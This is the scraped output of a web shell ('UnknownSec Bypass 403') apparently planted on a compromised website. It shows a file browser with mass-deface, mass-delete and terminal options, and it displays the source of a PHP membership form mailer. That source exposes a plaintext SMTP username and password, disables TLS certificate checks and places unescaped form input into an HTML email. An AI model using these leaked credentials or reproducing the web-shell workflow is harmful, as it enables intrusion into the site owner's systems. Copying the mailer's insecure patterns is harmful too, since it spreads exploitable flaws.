UnknownSec Bypass
403
:
/
var
/
www
/
santgyaneshwarji
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
membership_send.php
<?php include "config.php"; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'phpmailer/src/Exception.php'; require 'phpmailer/src/PHPMailer.php'; require 'phpmailer/src/SMTP.php'; // passing true in constructor enables exceptions in PHPMailer $data=0; $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Mailer = "smtp"; $output = ''; //if(isset($_POST['submit'])){ //include "config.php"; $name=$_POST['mname']; $fathername=$_POST['mfathername']; $address=$_POST['maddress']; $postoffice=$_POST['mpostoffice']; $district=$_POST['mdistrict']; $pin=$_POST['mpin']; $sate=$_POST['mstate']; $duration=$_POST['mduration']; $mobile=$_POST['mmobile']; $email=$_POST['memail']; try { if(!empty($name) && !empty($email) && !empty($mobile)){ // Server settings $mail->SMTPDebug =0; //$mail->isSMTP(); $mail->SMTPAuth = true; $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; $mail->Port = 25; $mail->Host = 'mail.skdblyhospitaliety.com'; $mail->Username = 'contact@skdblyhospitaliety.com'; // YOUR gmail email $mail->Password = 'Skdhospitalietybly123!@#'; // YOUR gmail password $mail->SMTPOptions = array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) ); // Sender and recipient settings $mail->setFrom('contact@skdblyhospitaliety.com', 'SKDBLY Hospitaliety Cunsultant Pvt. Ltd.'); $mail->addAddress("skdblyhospitalietycunsultant@gmail.com", "skdbly"); //$mail->addAddress("sadanandtechnologiesbly@gmail.com ", "Sanjeev"); $mail->addReplyTo($email, $name); // to set the reply to // Setting the email content $mail->IsHTML(true); $mail->Subject ="Client Enquiry"; $mail->Body = "<h3>Name : $name <br> Father's Name : $fathername <br> Address : $address <br> Post : $postoffice <br> Pin : $pin <br> State : $state <br> District : $district <br> Duration : $duration <br> Mobile : $mobile <br>Email : $email</h3>"; $mail->send(); $data=1; /*echo '<script>alert("Thankyou! for contacting us, We will get back to you soon!"); window.location="memebership.php"; </script>';*/ }else { $data=0; /*$output = '<div class="alert alert-danger"> <h5>All fields are required.</h5> </div>';*/ } } catch (Exception $e) { $data=-1; /*$output = '<div class="alert alert-danger"> <h5>' . $e->getMessage() . '</h5> </div>';*/ } //} echo json_encode($data); ?>
Copyright © 2025 - UnknownSec